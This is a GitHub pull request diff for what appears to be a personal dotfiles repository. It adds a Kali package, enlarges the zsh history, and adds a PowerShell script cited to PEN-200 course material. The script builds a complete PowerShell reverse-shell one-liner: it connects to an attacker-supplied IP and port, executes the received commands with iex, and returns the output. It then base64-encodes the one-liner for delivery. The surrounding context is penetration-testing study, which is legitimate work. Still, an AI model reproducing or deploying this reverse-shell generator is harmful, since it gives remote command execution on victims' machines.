Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Minor tweaks #52

Merged
merged 3 commits into from
Jan 21, 2024
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
Original file line number Diff line number Diff line change
Expand Up @@ -44,6 +44,7 @@ packages=(
{{ if eq .osid "linux-kali" }}

sec_packages=(
"hurl"
"gobuster"
"seclists"
)
Expand Down
34 changes: 34 additions & 0 deletions bin/base64convert.ps1
Original file line number Diff line number Diff line change
@@ -0,0 +1,34 @@
#!/usr/bin/env pwsh

# Cf. PEN-200, 9.3.1, Listing 32 - Encoding the oneliner in PowerShell on Linux
# https://portal.offsec.com/courses/pen-200/books-and-videos/modal/modules/common-web-application-attacks/file-upload-vulnerabilities/using-executable-files

# Prompt for IP Address
$ipAddress = Read-Host -Prompt "Enter the IP address"

# Validate the IP Address
if (-not [System.Net.IPAddress]::TryParse($ipAddress, [ref]$null)) {
Write-Host "Invalid IP address format. Please enter a valid IP address."
exit
}

# Prompt for Port Number
$portNumber = Read-Host -Prompt "Enter the port number"

# Validate the Port Number
if ($portNumber -notmatch '^\d+$' -or $portNumber -lt 0 -or $portNumber -gt 65535) {
Write-Host "Invalid port number. Please enter a port number between 0 and 65535."
exit
}

# Construct the $Text string with variable expansion
$Text = "`$client = New-Object System.Net.Sockets.TCPClient('$ipAddress',$portNumber);`$stream = `$client.GetStream();[byte[]]`$bytes = 0..65535|%{0};while((`$i = `$stream.Read(`$bytes, 0, `$bytes.Length)) -ne 0){;`$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString(`$bytes,0, `$i);`$sendback = (iex `$data 2>&1 | Out-String );`$sendback2 = `$sendback + 'PS ' + (pwd).Path + '> ';`$sendbyte = ([text.encoding]::ASCII).GetBytes(`$sendback2);`$stream.Write(`$sendbyte,0,`$sendbyte.Length);`$stream.Flush()};`$client.Close()"

$Bytes = [System.Text.Encoding]::Unicode.GetBytes($Text)

$EncodedText =[Convert]::ToBase64String($Bytes)

$EncodedText

# Output the constructed string (for verification or debugging)
Write-Host $EncodedText
4 changes: 2 additions & 2 deletions zsh/config.zsh
Original file line number Diff line number Diff line change
Expand Up @@ -12,8 +12,8 @@ setopt EXTENDED_GLOB # treat #, ~, and ^ as part of patterns for filename genera

# ===== History
HISTFILE=~/.zsh_history
HISTSIZE=10000
SAVEHIST=10000
HISTSIZE=1000000
SAVEHIST=1000000

setopt APPEND_HISTORY # Allow multiple terminal sessions to all append to one zsh command history
setopt EXTENDED_HISTORY # add timestamps to history
Expand Down